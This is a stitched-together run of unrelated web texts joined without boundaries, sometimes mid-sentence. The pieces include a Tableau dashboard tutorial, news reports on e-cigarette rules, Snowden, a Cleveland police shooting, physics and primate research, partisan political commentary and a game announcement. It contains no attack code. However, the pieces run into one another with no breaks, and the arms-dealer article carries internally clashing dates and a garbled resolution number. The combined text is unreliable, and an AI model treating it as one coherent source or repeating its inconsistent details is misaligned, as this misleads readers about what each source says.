However, there is no doubt the political landscape of Scotland is distinctive in important respects. Looking back over the past 15 years of devolution, it is also possible to show that in some ways social policies pursued in Scotland have been more progressive than those emanating from London, even if key areas of social welfare remain under the control of the Westminster Government. However, this should not blind us to the fact that there are major social problems that have impacted on Scottish society for much of the past century and which continue to have far reaching and negative consequences today. Foremost among these is the issue of poverty. The publication by CPAG of Poverty in Scotland 2014: The Independence Referendum and Beyond, paints a dire picture of the extent of poverty |
Iain Treloar, Road Riders, Bicycle Network Victoria
Joel Mayes, Bikes on Brunswick
Michael Hansford, Darebin BUG
Greg Weston, Bicycle Network Victoria member
Sean Wilkinson and Tania Sanchez, Catalyst Design.
Thanks also to Dr Scott Mayson and the RMIT Industrial Design team for conducting the design testing again this year.
Ride On content is editorially independent, but is supported financially by members of Bicycle Network. If you enjoy our articles and want to support the future publication of high-quality content, please consider helping out by becoming a member.If you follow Tableau blogs frequently, you have likely seen dashboards that have icon-based navigation elements. In this post, we’ll walk through how to take that a step further by creating buttons that will change color and text depending on the state of other selections in the dashboard.
Below is an example from one of my dashboards, “A Decade of Electricity.” Notice how the filter icon on the All button appears and changes color depending on the fuel type selected. Likewise, the Select States to Filter button has a different icon and text once a state is selected from the map.
Making the Buttons
These aren’t technically “buttons” in Tableau. They are worksheets with text, accompanied by a mark with a custom shape. This post by Tableau Zen Master, Nelson Davis, offers a step-by-step explanation on making one. Here, I’ll expand on the same idea to change colors, shapes and text on the button. The screenshot below shows how to set up the worksheet. The axes are shown for reference only. You will need to right-click and uncheck Show Header to make them invisible.
There are three key differences from the linked tutorial on making this type of worksheet:
I have added a dual-axis to enable a second “layer” needed to remove the black border when the icon is selected (discussed below). I’m using custom shapes rather than the shapes that are shipped with Tableau. I’m setting colors and shapes based on a field added to the Color and Shape shelves.
Controlling Colors and Shapes
The important thing to notice here is the use of the ATTR() function on the Shape and Color shelves. Using it means that when we have more than one value to show, Tableau displays an asterisk (*) instead of listing individual values. We can take advantage of that to set a different color or shape for the asterisk and other values.
To set colors, drag the appropriate dimension onto the Filters shelf. Then, right-click and choose Show Quick Filter. On the color legend, you should see an asterisk if multiple values are selected and the dimension value when only one is selected. Now, you can click through each one in the quick filter and set the color by choosing Edit Colors from the color legend.
The process is the same for assigning different shapes for each filter selection. Step through the values in the filter and choose the corresponding shape from the Shape shelf. Later, you will see how to control the color and shape using dashboard actions instead of these filters.
Removing the Black Border When Selected
Certain shapes or icons won’t look their best when selected. Tableau draws a black border around custom shapes to tell users which marks they’ve selected. Normally, this is a feature we want. But on navigation elements, it can look unpolished.
This is where we need the dual axis to lend a hand. On one axis, everything is set up as explained above. On the second axis, we’ll use a custom shape that I affectionately call an “invisibility cloak.” I call it that because it is a 32×32 PNG file that has no content. It is fully transparent. You can make one of these with any popular photo editing software or download the Blank Shape.png file at the bottom of this post.
Since it is on the second axis, the user is actually clicking on this blank shape instead of the icon that is visible. The lack of any content in the image means that Tableau has nothing it can use to draw a border, so nothing changes when it’s clicked.
Changing Color and Text
Since our buttons are actually worksheets, we can control the content shown using filter actions on the dashboard. In the fuel selection menu example, a user would select a name from one worksheet that filters the values on the All button while also filtering views on the dashboard. If you’re unfamiliar with dashboard actions, this Tableau Knowledge Base article will get you started.
When the action filter is applied, the value changes from an asterisk to the value selected. Since different colors and shapes are assigned to each one, the button changes based on user interactions.
To change text, a calculated field is necessary. In this example, we’ll look at what happens when someone selects one or more states. Any time there are less than 50 states selected, I want the Select States to Filter to change the text and shape displayed. Here’s how to check for that in a calculation:
IF COUNTD([STATE])<50 THEN "Clear State Filter"
ELSE “Select States to Filter”
END
Since I am applying an action filter to this view when a state is clicked on the map, the navigation button will have fewer than all 50 states to count up in the COUNTD() function. By adding this to the Label, Shape and Color shelves we can alter the design using the same methods as above.
Deconstruct It Yourself
These are just a few of the things you can do with navigation buttons. If you wish to explore this method further, download the example workbook from Tableau Public and poke around. If you find a better way of doing it or have questions, please leave a comment below.ACT Government flags intention to regulate e-cigarettes, bringing the territory into line with NSW, QLD
Updated
The ACT Government will move to ban the sale of e-cigarettes to minors and restrict their promotion.
There are currently no rules governing the sale of e-cigarettes across Canberra, and Health Minister Simon Corbell said that was concerning.
"What that means of course is that e-cigarettes are available to be used by children," he said.
"Some products are being sold that contain nicotine even though they claim they do not and e-cigarettes are potentially being used to re-normalise smoking behaviour."
The changes would restrict the sale of e-cigarettes to adults, heavily restrict advertisements and in-store displays, and ban sales by vending machine.
The proposal brings the ACT into line with NSW and Queensland and levels the restrictions with those placed on tobacco.
Mr Corbell said now is the time to act.
"There is no doubt that e-cigarettes have become much more prevalent and available than they were even five years ago," he said.
"It's appropriate that we adopt a regulatory approach that sees e-cigarettes as the same as cigarettes in many respects, and they should be regulated in a consistent fashion."
The move comes after public consultation late last year which fielded submissions from residents, business owners and public health organisations.
Mr Corbell said while there were a range of views in the community, he believed the changes would be met with a positive response.
"The Government [recognises] that for some smokers, an e-cigarette is a better choice, but that it should not be promoted openly in a way that may normalise smoking behaviour," he said.
"The ACT has one of the lowest levels of smoking of any state or territory. We want to continue that decline and reduce the impact of tobacco on our community."
'It just shows that the Government doesn't really understand'
The legislation will be introduced to the ACT's Legislative Assembly next year.
Opposition Leader Jeremy Hanson said he was broadly open to the ACT Government's proposal, particularly as it bought the ACT into line with NSW regulations.
A tobacco product is something that has tobacco in it. It's not a tobacco product, it should be under its own legislation. Christopher Franzi
"In principle, what the Government's proposing seems sensible," he said.
"We want to see a consistency between jurisdictions... we don't want a different set of rules for e-cigarettes in Queanbeyan than we would in Canberra.
"I think regulating them in a similar fashion to tobacco products makes sense."
But Christopher Franzi, who owns a "vape cafe" selling e-cigarettes in Gungahlin, disagreed.
Mr Franzi said he was not opposed to the regulation of e-cigarette's per se, but putting them in the same basket as tobacco cigarettes was unfair.
"A tobacco product is something that has tobacco in it," he said.
"It's not a tobacco product, it should be under its own legislation... it just shows that the Government doesn't really understand what an electronic cigarette is."
Mr Franzi said Government consultation on the issue had been lacking, and there had been no face-to-face communication about proposed legislation
"They gave us the opportunity to write in a submission, which was open to the public... it would have been nice if they'd at least maybe taken five minutes to come down and have a chat with us about it," he said.
"Get to the know the product properly, and get to know the current research around it as well."
He said there was a large body of research suggesting e-cigarettes were less harmful than cigarettes.
Topics: smoking, health, government-and-politics, canberra-2600, act, australia
First postedAfter nearly four decades of preaching a "cure" for homosexuality, the Christian ministry Exodus International is closing its doors. Ex-gay survivor Sean Sala joined HuffPost Live host Josh Zepps Thursday to discuss his experience with Exodus International.
Sala, who said he joined Exodus as a "last-ditch effort" to change his sexual orientation after being told he was "demon-possessed" by the church, spent only a few months with the organization but said that the damage it had done to him"was astounding" and "bears true witness to the poor souls who were in it for years on end."
"The damage that is done nationally and internationally is unprecedented," he said.
Sala described his time with Exodus as "kind of laughable" and "homoerotic."
"It was an entire circle of men who are gay that were sharing homoerotic stories about their experiences," he said. They wanted to know how many times I masturbated during the week, they wanted to know what I thought about."
According to Sala, "the go-to thing" was the notion that "you're gay because you're molested." After butting heads with a counselor for rejecting accusations of molestation, Sala says he was deemed "undeliverable, rebellious and arrogant to the program."
"I was most definitely suicidal," Sala says of his time spent in the ministry.MOSCOW: Russia said on Tuesday that it could grant asylum to the fugitive former spy Edward Snowden, as US President Barack Obama came under pressure from Europe over American spying on emails and telephone records.
Mr Snowden, a former CIA worker and intelligence contractor, is seeking refuge after fleeing the US for Hong Kong and releasing top secret National Security Agency (NSA) files to the media.
Talk of asylum for US National Security Agency whistleblower Edward Snowden has been quickly embraced by Russian government supporters. Credit:Reuters
Asked if the 29-year-old could claim asylum from Russia, a spokesman for President Vladimir Putin told the newspaper Kommersant: "If such a request is received, it will be considered".
Any attempt by the Kremlin to give refuge to Mr Snowden, amid calls for his prosecution under the US Espionage Act, is likely to infuriate the White House and provoke a major diplomatic stand-off.Story highlights Cleveland Police Officer Timothy Loehmann shot and killed a 12-year-old boy
Records show he had resigned from a past police job in a Cleveland suburb
Former supervisor: He showed "lack of maturity, indiscretion and not following instructions"
Cleveland Police say they never saw the personnel file that detailed criticism
Nearly two years before he shot and killed a 12-year-old who had an air gun, Cleveland Police Officer Timothy Loehmann resigned from another police job after a supervisor described him as "distracted and weepy" and "emotionally immature."
Records from the Independence Police Department obtained by CNN include comments from a supervisor detailing what they called "a pattern of lack of maturity, indiscretion and not following instructions," a "dangerous loss of composure during live range training" and an "inability to manage personal stress."
"I do not believe time, nor training, will be able to change or correct these deficiencies," Independence Deputy Chief Jim Polak wrote in a November 2012 memo.
Now Loehmann, who could not be immediately reached for comment, is one of two Cleveland police officers under investigation after the fatal shooting of 12-year-old Tamir Rice last month. Police have said the boy was shot after pulling out an air gun that looked like a real firearm.
Loehmann joined the Cleveland Police Department in March. A Cleveland Police spokesman said Thursday that during a background check before hiring Loehmann, his department didn't review the officer's personnel file from Independence, a suburb south of the city. Detectives did speak with the Independence human resources director, the spokesman said.
JUST WATCHED 911 calls, video detail boy's shooting Replay More Videos... MUST WATCH 911 calls, video detail boy's shooting 04:06
JUST WATCHED Video shows police shooting of a boy Replay More Videos... MUST WATCH Video shows police shooting of a boy 03:13
JUST WATCHED 12-year-old killed by cops over air gun Replay More Videos... MUST WATCH 12-year-old killed by cops over air gun 01:55
JUST WATCHED Cops: We'll release video of shooting Replay More Videos... MUST WATCH Cops: We'll release video of shooting 01:28
"During that interview detectives inquired if there were any disciplinary actions or incidents that Cleveland Police should be aware of prior to hiring Loehmann, at which point they were told there were none," Sgt. Ali Pillow said. "The reason for departure indicated was resignation. Officer Loehmann indicated that he resigned for personal reasons, which was substantiated by the City of Independence."
According to the records, Loehmann worked at the Independence Police Department as an officer until December 2012, when he submitted his resignation "for personal reasons" after he was told that a disciplinary process of separation had begun.
"Ptl. Loehmann's inability to perform basic functions as instructed, and his inability to emotionally function because of a personal situation at home with an on and off again girlfriend leads one to believe that he would not be able to substantially cope, or make good decisions, during or resulting from any other stressful situation," Polok wrote.
Another memo from a sergeant who worked with Loehmann at a shooting range described the officer as "distracted," "not fit to return" after an emotional outburst and someone who was "not following simple instructions."
An Independence spokeswoman said in a statement that the city had made all personnel files for Loehmann available.
Loehmann has been on paid injured leave since November 22 after injuring his ankle in the shooting, Pillow said. His partner is also on paid administrative leave
The shooting has sparked criticism from community members who accuse police of unnecessary violence.
Police said it's not clear if the responding officers involved in the shooting received information about the age of the suspect or the gun being "probably fake."
Fred Loehmann, Timothy Loehmann's father, told the Cleveland Plain Dealer this week that his son didn't know the boy's gun was fake or realize he was 12 years old.
"I was right there and he went for the gun," he recalled his son saying, according to the newspaper. "I had no choice."
Efforts by CNN to reach Loehmann Thursday were not immediately successful.Soft matter offers new ways to study how ordered materials arrange themselves
Related images
(click to enlarge)
A fried breakfast food popular in Spain provided the inspiration for the development of doughnut-shaped droplets that may provide scientists with a new approach for studying fundamental issues in physics, mathematics and materials. The doughnut-shaped droplets, a shape known as toroidal, are formed from two dissimilar liquids using a simple rotating stage and an injection needle. About a millimeter in overall size, the droplets are produced individually, their shapes maintained by a surrounding springy material made of polymers. Droplets in this toroidal shape made of a liquid crystal -- the same type of material used in laptop displays -- may have properties very different from those of spherical droplets made from the same material.
While researchers at the Georgia Institute of Technology don't have a specific application for the doughnut-shaped droplets yet, they believe the novel structures offer opportunities to study many interesting problems, from looking at the properties of ordered materials within these confined spaces to studying how geometry affects how cells behave.
"Our experiments provide a fresh approach to the way that people have been looking at these kinds of problems, which is mainly theoretical. We are doing experiments with toroids whose geometry can be precisely controlled in the lab," said Alberto Fernandez-Nieves, an assistant professor in the Georgia Tech School of Physics. "This work opens up a new way to experimentally look at problems that nobody has been able to study before. The properties of toroidal surfaces are very different, from a general point of view, from those of spherical surfaces."
Development of these "stable nematic droplets with handles" was described May 20 in the early edition of the journal Proceedings of the National Academy of Sciences (PNAS). The research has been sponsored by the National Science Foundation (NSF), and also involves researchers at the Lorentz Institute for Theoretical Physics at Leiden University in The Netherlands and at York University in the United Kingdom.
Droplets normally form spherical shapes to minimize the surface area required to contain a given volume of liquid. Though they appear to be simple, when an ordered material like a crystal or a liquid crystal lives on the surface of a sphere, it provides interesting challenges to mathematicians and theoretical physicists.
A physicist who focuses on soft condensed matter, Fernandez-Nieves had long been interested in the theoretical aspects of curved surfaces. Working with graduate research assistant Ekapop Pairam and postdoctoral fellow Jayalakshmi Vallamkondu, he wanted to extend the theoretical studies into the experimental world for a system of toroidal shapes.
But could doughnut-shaped droplets be made in the lab?
The partial answer came from churros Fernandez-Nieves ate as a child growing up in Spain. These "Spanish doughnuts" -- actually spirals -- are made by injecting dough into hot oil while the dough is spun and fried.
In the lab at a much smaller size scale, the researchers found they could use a similar process with two immiscible liquids such as glycerine or water and oil, a needle and a magnetically-controlled rotating stage. A droplet of glycerine is injected into the rotating stage containing the oil. In certain conditions, a jet forms at the needle, which closes up into a torus because of the imposed rotation.
"You can control the two relevant curvatures of the torus," explained Fernandez-Nieves. "You can control how large it is because you can move the needle with respect to the rotation axis. You can also infuse more volume to make the torus thicker."
If the stage is then turned off, however, the drop of glycerine quickly loses its doughnut shape as surface tension forces it to become a traditional spherical droplet. To maintain the toroidal shape, Fernandez-Nieves and his collaborators replace the surrounding oil with a springy polymeric material; the springy character of this material provides a force that can overcome surface tension forces.
"When you are making the toroid, the forces on the needle are large enough that the surrounding material behaves as a fluid," he explained. "Once you stop, the elasticity of the outside fluid overcomes surface tension and that freezes the structure in place."
The researchers have been using the doughnut shapes to study how liquid crystal materials, which are well known for their applications in laptop displays, organize inside the torus. These materials have degrees of order beyond those of simple liquids such as water. For these materials, the toroidal shape provides a new set of study opportunities from both theoretical and experimental perspectives.
"This changes how you think about a liquid inside a container," said Fernandez-Nieves. "The materials will still adopt the shape of the container, but its energy will be different depending on the shape. The materials feel distortions and will try to minimize them. In a given shape, the molecules in these materials will rearrange themselves to minimize these distortions."
Among the surprises is that the nematic droplets created with toroidal shapes become chiral, that is, they adopt a certain twisting direction and break their mirror symmetry.
"In our case, the materials we are using are not chiral under normal circumstances," he noted. "This was a surprise to us, and it has to do with how we are confining the molecules."
Beyond looking at the dynamics of creating the droplets and how ordered materials behave when the torus transforms into a sphere, Fernandez-Nieves and colleagues are also exploring potential biological applications, applying electrical fields to the droplets, and sharing the unique structures with scientists at other institutions.
"This is the first time that stable nematic droplets have been generated with handles, and we have exploited that to look at the nematic organization inside those spaces," said Fernandez-Nieves. "Our experiments open up a versatile new approach for generating handled droplets made of an ordered material that can self-assemble into interesting and unexpected structures when confined to these non-spherical spaces. Now that theoreticians realize we can generate and study these systems, there may be much more development in this area."
In addition to those already mentioned, the paper's authors included V. Koning, B.C. van Zuiden and V. Vitelli from Leiden University, M.A. Bates from the University of York in the United Kingdom, and P.W. Ellis from Georgia Tech.
The research described here has been sponsored by the National Science Foundation under CAREER award DMR-0847304. The findings and conclusions are those of the authors and do not necessarily represent the official views of the National Science Foundation.Share this
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Email You are free to share this article under the Attribution 4.0 International license. University Princeton University
PRINCETON (US) — The facial mechanics of human speech may have evolved from a friendly primate gesture.
Two recent studies by Princeton University researchers suggest that the oral-facial component of human speech mirrors the rhythm, development, and internal dynamics of lip smacking, a friendly back-and-forth gesture performed by primates such as chimpanzees, baboons, and macaques.
The mechanics of primate lip smacking are distinct from those of chewing, similar to the separate mechanics of human speech and chewing, the research shows.
httpv://www.youtube.com/watch?v=68M9xWDTfRQ
[sources]
These parallels suggest that in primates chewing and lip smacking—as with chewing and speech-related facial movement in humans—have separate neural controls, explains Asif Ghazanfar, an associate professor of psychology and the Princeton Neuroscience Institute, and a lead researcher for both studies.
With further study, the neural pathway in primates from the brain to facial mechanics could help illuminate the neurological basis of speech disorders in humans, he says.
Ghazanfar and his colleagues first reported in the journal Developmental Science that lip smacking undergoes the same developmental trajectory from infancy to adulthood in rhesus macaques that speech-related mouth movement does in humans.
Infant macaques smacked their lips slowly and with an inconsistent rhythm, similar to the documented pace of babbling in human infants. By adulthood, however, lip smacking has a distinct rhythm and a faster pace averaging 5 hertz, or cycles per second—the same as adult humans producing speech.
Ghazanfar worked with lead author Ryan Morrill, who received his undergraduate degree from Princeton in 2010; Annika Paukner, a research fellow at the National Institutes of Health; and Pier Ferrari, an assistant professor of biology at the University of Parma in Italy.
In the second paper, published in the journal Current Biology, Ghazanfar and co-author W. Tecumseh Fitch, a professor of cognitive biology at the University of Vienna in Austria, used X-ray movies to film adult rhesus macaques as they smacked their lips or as they chewed food.
The researchers observed that during lip smacking, internal structures such as the tongue and hyoid, which houses the larynx, move in pace with the lips with a rhythm of 5 hertz—again, just as in human speech.
Also similar to humans, chewing produced a slow, tightly coordinated movement of these components in macaques, while lip smacking resulted in faster, loosely coordinated movement.
Both studies were funded in part by the National Institutes of Health and the National Science Foundation.
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Bernie Sanders put on a clinic and completely stonewalled ABC’s News Jon Karl when he tried to get the Democratic candidate to personally attack Hillary Clinton.
Video:
https://youtu.be/Al4sVp7Rs2E
Transcript via ABC’s This Week:
KARL: Hey, we are out of time. I want a yes or no answer to one quick question. Hillary Clinton’s poll suggest a lot of people don’t see her as honest and trustworthy. Do you think Hillary Clinton is honest and trustworthy? SANDERS: I have a lot of respect for Hillary Clinton. She is somebody I’ve known for 25 years. I’m not going to be engaging in personal attacks against her. KARL: So you won’t say whether or not she’s honest. SANDERS: I’m not going to be engaging in personal attacks against her. She and I disagree on many issues. The American people want a serious debate about serious issues, not personal attacks. KARL: All right, Senator Sanders, thank you very much for joining us.
[[AD2]]
Whether one supports Bernie Sanders or not, the Senator from Vermont deserves respect for the way that he has conducted his campaign. The media would love nothing more than for Sanders to personally attack Clinton. The corporate media in the United States has convinced themselves that the American people are too stupid to enjoy a debate about issues, so they spend their time trying to goad candidates into personally attacking each other.
Sanders is the only candidate who has not taken the bait. He understands that personally attacking Hillary Clinton would take the focus off of the issues that matter. Plus, one of the reasons why Sen. Sanders has attracted such a dedicated following is that he is a different kind of candidate. There is a something dignified about a candidate who refuses to dwell in the sewer of modern American politics.
The contrast between the Democratic and Republican primaries is striking. On the Republican side, RNC Chairman Reince Priebus is practically begging his candidates to stop attacking each other, but with Donald Trump sitting at the top of the polls, the Republican primary has become a mudslinging contest.
While the Republicans are doing everything in their power to avoid discussing issues, Democrats are having an issue-driven debate among their candidates that is already sharpening up their vision of what the post-Obama Democratic agenda will look like.
Bernie Sanders isn’t going to be bullied by the corporate media. He knows exactly what the press wants, and he is refusing to give it to them. Whether the media likes it or not, Democrats are going to have a spirited primary centered around the issues.
Save the circus and childish behavior for the Republicans. Democrats are busy plotting a path to a prosperous future for the middle-class.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:NEW YORK – Defense filings in the Department of Justice prosecution of arms dealer Marc Turi allege the Obama administration is willing to prosecute an innocent man to cover up the role former Secretary of State Hillary Clinton played shipping weapons to Libya illegally in 2011.
A telephone interview with Turi’s defense counsel, Jean-Jacques Cabou of the law firm Perkins Coie LLP, led WND to an extensive review of the legal motions filed by the government and the defense in the Turi criminal case.
Cabou declined to answer specific questions WND posed, saying that rather than try the case in the media, he preferred to allow the legal motions filed by the defense to speak for themselves.
The background of the Turi prosecution, while complicated, is at the heart of an allegation made by Fox News legal analyst Judge Andrew Napolitano in a recent syndicated column. Napolitano charged Hillary Clinton, while secretary of state, lied when Sen. Rand Paul, R-Ky., asked her in a Senate committee hearing if the State Department had run guns illegally to Libyan rebels.
In the column, Napolitano said an interview of Turi by Fox News intelligence correspondent Catherine Herridge and Fox News senior executive producer Pamela Browne led him to review emails to and from State Department and congressional officials during the years when Clinton was secretary of state.
Napolitano concluded it’s “beyond a reasonable doubt and to a moral certainty” that Hillary had conducted a “secret war” shipping arms to Libya illegally in 2011.
What Napolitano assumed as true was the central argument advanced by the Obama administration in the Turi prosecution: The weapons Turi shipped to Qatar were intended not for the use of the Qatar Army but to be diverted to Libya for use by the al-Qaida-affiliated militia attempting to overthrow Libyan dictator Moammar Gadhafi.
But Napolitano apparently missed the fact that if Turi is guilty as charged, Clinton is arguably innocent of illegally shipping weapons to Libyan al-Qaida-affiliated militia and of lying to Paul.
The fact that remains indisputable in this complex controversy is that weapons and ammunition in boxes marked “Qatar Army” were intercepted off the shore of Libya in 2011. Video published July 6 by WND showed Moussa Ibrahim, then Gadhafi’s information minister and official spokesman, displaying to reporters a seized cache of weapons and ammunition clearly marked as originating from the Qatar Army.
Court motions filed by Turi defense attorney Jean-Jacques Cabou contend that should Turi be acquitted, an elaborate plot will be exposed in which the Obama administration set up Turi to take the blame if the illegal shipment of weapons to Libya via Qatar in 2011 ever came to light.
The central question then at the heart of the Turi criminal prosecution is whether or not the Obama Department of Justice can prove Turi shipped the weapons to Qatar in 2011, and if he did, whether he knew they were intended to be diverted to Libya for the use of the al-Qaida-affiliated militia, in direct violation of State and Treasury Department prohibitions.
The DOJ indictment
On Feb. 11, 2011, the Department of Justice charged Turi, individually and through his company, Turi Defense Group, with attempting between February and July 2011 “to broker a substantial quantity of weapons – machine guns, sniper rifles, assault rifles, anti-tank rockets, rockets, and other high explosives and ammunition – to individuals in Libya, with knowledge such activities were prohibited by United States law enacted to protect the national security and foreign policy interests of the United States.”
The indictment charged that after the State Department denied Turi a brokering license to supply weapons to Libya, he submitted brokering applications to the State Department’s Directorate of Defense Trade Controls, “falsely listing Qatar and United Arab Emirates as the end users for weapons that were actually intended for individuals in Libya.”
This, the indictment charged, was in direct contravention of U.N. Security Council Resolution 170, passed Feb. 26, 2011. The resolution imposed an arms embargo on all member states to prevent “the immediate prospect” of a Gadhafi-led attempt “to slaughter rebel forces in Benghazi that would likely result in massive civilian casualties.”
The indictment cited U.S. law, 22 C.F.R. § 29.5(d), which specifies, “No brokering activities or brokering proposal may be carried out with respect to countries which are subject to United Nations Security Council arms embargoes.” It also cited features of the Arms Export Control Act, Title 22, U.S. Code, Section 2778, allowing the State Department, in concurrence with the Defense Department, to develop a list of weapons prohibited to ship to Libya, many of which were found in the 2011 seizure.
The indictment listed a series of communications between Turi, an Egyptian arms dealer residing in the United Kingdom identified only by the initials “Y.A.” and an individual working from Cyprus identified as “A.Y.” who was affiliated with a company importing and exporting Russian-origin petroleum products. Both figures were named as the “primary intermediaries” interceding between Turi and the Transitional National Council, TNC, in Libya, to arrange for the arms.
The DOJ indictment charged Turi had “made a material untrue statement and omitted a material fact required to be stated” when he applied to ship weapons to Qatar and the UAE.
“Marc Turi and Turi Defense Group then knew the actual intended end user” of the prohibited weapons being sent to Libya, the indictment said.
Turi’s defense
In various court motions, defense attorney Jean-Jacques Cabou asserted Turi shipped no weapons to Qatar.
Cabou strongly suggests the whole point of prosecuting Turi was to blame him for the weapons transfer, which he called a covert Obama administration gun-running operation that went wrong when Libya intercepted the weapons.
He noted Gadhafi spokesman Ibrahim suggested publicly that NATO countries were violating the U.N. resolution in an attempt to arm the Libyan al-Qaida-affiliated militia – then designated by the U.S. and the U.N. as “rebels” – in their attempt to oust Gadhafi.
In an initial motion to dismiss the case, filed July 23, 2014, Cabou noted that “in early 2011, while under contract with the Government for work in those countries, Mr. Turi requested State Department approval to conduct brokering discussions with allied entities and governments in Africa, including the National Transition Council of Libya, the United Arab Emirates, and Qatar.”
Cabou pointed out that such requests “are common in Mr. Turi’s business and are typically referred to as request for approval,” stressing that the outcome was that the State Department approved Turi’s requests for approval in Qatar and the UAE but turned down his request for Libya.
In bold print, the next sentence of the motion made Cabou’s key point: “In the end, however, no weapons were ever transferred pursuant to these requests. As is often the case in international arms trade, these deals did not come to fruition.”
Cabou continued to note that later in 2011, the U.S. government began investigating Turi for “still unknown reasons.”
“From then until now, the Government has searched Mr. Turi’s home, seizing computers and other electronic media, stopped him as he re-entered the country at Chicago O’Hare International Airport, seizing even more computers, and flown agents around the world to interview Mr. Turi’s associates in the brokering business and the intelligence community,” Cabou’s motion said.
“The REAL Benghazi story: What the White House and Hillary Don’t Want You to Know”
‘Hillary shipped the weapons, not Turi’
In a motion filed Aug. 11, 2014, Cabou made clear his counter-claim that the government was seeking to frame his client by allowing him to think the Obama administration was in favor of a “plausible deniability” covert deal in which the illicit weapons would be shipped to Qatar and packaged as “Qatar Army” weapons manufactured outside the United States that were diverted to Libya without State Department approval.
In another sentence written in bold type for emphasis, the defense motion dated Aug. 11, 2014, stressed: “Public documents reveal that arms were in fact transshipped through Qatar and the United Arab Emirates to Libya, and that the U.S. Government may have provided support for those transactions.”
Cabou then demanded the discovery of government documents or other evidence that could prove the U.S. government had pursued a brokered-weapons deal through Qatar that involved “nearly identical” transactions to those the DOJ was accusing Turi of having executed.
In a letter dated Aug. 6, 2014, addressed to the U.S. attorney’s office in Phoenix, Cabou asked specifically for the following: “Any documents or other evidence relating to instances in which the United States assisted or considered assisting in any way, overtly or covertly, in the transportation, provision, acquisition, transfer, or transport of Defense articles to or from any person, entity, group of people, quasi-governmental entity, or government within the territory of Libya, Syria, Qatar, the United Arab Emirates, Turkey or Jordan (these countries collectively here the ‘Covered Countries’) within the timeframe of 2010 to the date of the request.”
Cobou’s letter to the U.S. attorney in Arizona detailed that for Libya, Qatar and the UAE, “we have a good-faith basis to believe Defense Articles eventually did covertly enter Libya from Qatar and the United Arab Emirates and that the United States may have been involved.”
The term “Defense Articles” was a legal term used by Cabou to refer to weapons prohibited for transfer to Libya in 2011 under U.N. Security Council Resolution 170 and U.S. law that appears remarkably similar to the weapons display to the international press in 2011.ONLY 21 states require students to attend high school until they graduate or turn 18. The proposal President Obama announced on Tuesday night in his State of the Union address — to make such attendance compulsory in every state — is a step in the right direction, but it would not go far enough to reduce a dropout rate that imposes a heavy cost on the entire economy, not just on those who fail to obtain a diploma.
In 1970, the United States had the world’s highest rate of high school and college graduation. Today, according to the Organization for Economic Cooperation and Development, we’ve slipped to No. 21 in high school completion and No. 15 in college completion, as other countries surpassed us in the quality of their primary and secondary education.
Only 7 of 10 ninth graders today will get high school diplomas. A decade after the No Child Left Behind law mandated efforts to reduce the racial gap, about 80 percent of white and Asian students graduate from high school, compared with only 55 percent of blacks and Hispanics.
Like President Obama, many reformers focus their dropout prevention efforts on high schoolers; replacing large high schools with smaller learning communities where poor students can get individualized instruction from dedicated teachers has been shown to be effective. Rigorous evidence gathered over decades suggests that some of the most promising approaches need to start even earlier: preschool for 3- and 4-year-olds, who are fed and taught in small groups, followed up with home visits by teachers and with group meetings of parents; reducing class size in the early grades; and increasing teacher salaries from kindergarten through 12th grade.
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These programs sound expensive — some Americans probably think that preventing 1.3 million students from dropping out of high school each year can’t be done — but in fact the costs of inaction are far greater.
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in the UK.
“The Brits are not at all interested in the European elections in their own country, so they are not pressed to know what is happening in others. The media here concentrates solely on UKIP, which does not just reject the EU, but all politics: a classic protest vote,” said Eric Albert, London correspondent for Le Monde.
“In this context, the National National Front is a distant problem. Having said that, those who look closely into European politics can make two conclusions: France is the ‘sick man’ of Europe, the National Front vote proves this; (and) the European project is staggering, because even in France, Euroscepticism is on the rise.”
Polish media does not give much attention to France, but instead focuses on the UK and Germany, where there are strong Polish communities.
Outside Europe: Switzerland, Japan and the US
Switzerland, although not concerned with rising populism in EU member states, is well aware of the impact that the European elections can have at home. Swiss media follows the EU elections and increasing Euroscepticism closely. The EU elections will shape future relations between Bern and Brussels, which have been turned upside down since a vote in February which saw a majority of Swiss people vote “against mass immigration”. This means updating current bilateral agreements with the EU.
In Japan, the rise of the FN is seen as a direct reaction to fears about immigration. Japanese society relates to France’s rising far-right movement, because of similarities between France and an isolated Japan that fears Asian immigrants, especially from China. “Japanese media focus on the clash between the two big French political parties. However, it does not believe that this reflects the population’s sentiment, which also fears immigration,” explains Hiroaki Miyagawa, the Paris correspondent for the Japanese newspaper Mainichi.
In the US, the media continues to cover political developments in France as something strange and distant. “Having been damaged by the election of a socialist president, Marine Le Pen’s anti-European and nationalist arguments will not be enough to revive France’s waning image in the US,” said an AFP correspondent, who also claimed that Americans had a tendency to distrust anything that undermines capitalism. The rise of the National Front, with promises to leave the Eurozone and increase protectionism, is not consistent with ongoing talks for a transatlantic free trade area. The advance of America’s Tea Party movement has influenced politics in the US and contributes to trivialising the rise of extremism in Europe.The world state customiser for Dragon Age: Inquisition will be available for everyone to try out in just under two weeks.
The Dragon Age: Inquisition devs, Bioware, have hosted another livestream which revealed the start of the Dragon Age Keep open beta is on 29th October.
So, what is Dragon Age Keep. Well, it's basically a website that'll allow you to mould your Dragon Age story using the story decisions from the previous two games; Dragon Age: Origins, and Dragon Age II.
In the Keep you'll be able to customise hero stats and companion details, along with the results of quests from the first two games in order to save and import the world state you've created into Dragon Age Inquisition when it launches. It essentially helps you craft your backstory without having to play the previous two games.
On 29th you can head on over to the Dragon Age Keep and sign up to see what it's all about.
The video of the livestream below also talks a little more about the Dragon Age Keep, and the open beta announcement is around the 31:38 mark.
Dragon Age: Inquistion launches on 18th November for PS3,PS4, Xbox 360, Xbox One, and PC.
Watch live video from BioWare on Twitch
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New Dragon Age: Inquistion trailer shows two dragons fightingSome workers who raised safety issues were allegedly blacklisted A company that allegedly sold workers' personal details, including union activities, to building firms is to be prosecuted by the information watchdog. The Information Commissioner's Office (ICO) said the Consulting Association, in Droitwich, had committed a "serious breach" of the Data Protection Act. The ICO said a secret system had been run for over 15 years to enable firms to unlawfully vet job applicants. Unions have called on the government to outlaw "blacklisting" practices. A spokesman for the Department for Business said it did have the power to make blacklists illegal and would "review whether to use this power if there was compelling evidence that blacklists were being used". 'Bad egg' Around 40 construction companies who subscribed to the scheme would send lists of prospective employees to The Consulting Association, who would then warn them about potential troublemakers. Some of the notes uncovered by an ICO raid on the association's offices included descriptions such as "ex-shop steward, definite problems", "Irish ex-Army, bad egg". Other notes related to workers who had raised concerns over health and safety issues on sites, such as asbestos removal. The owner of the Consulting Association Ian Kerr - which is now believed to have ceased trading - faces prosecution and a £5,000 fine if 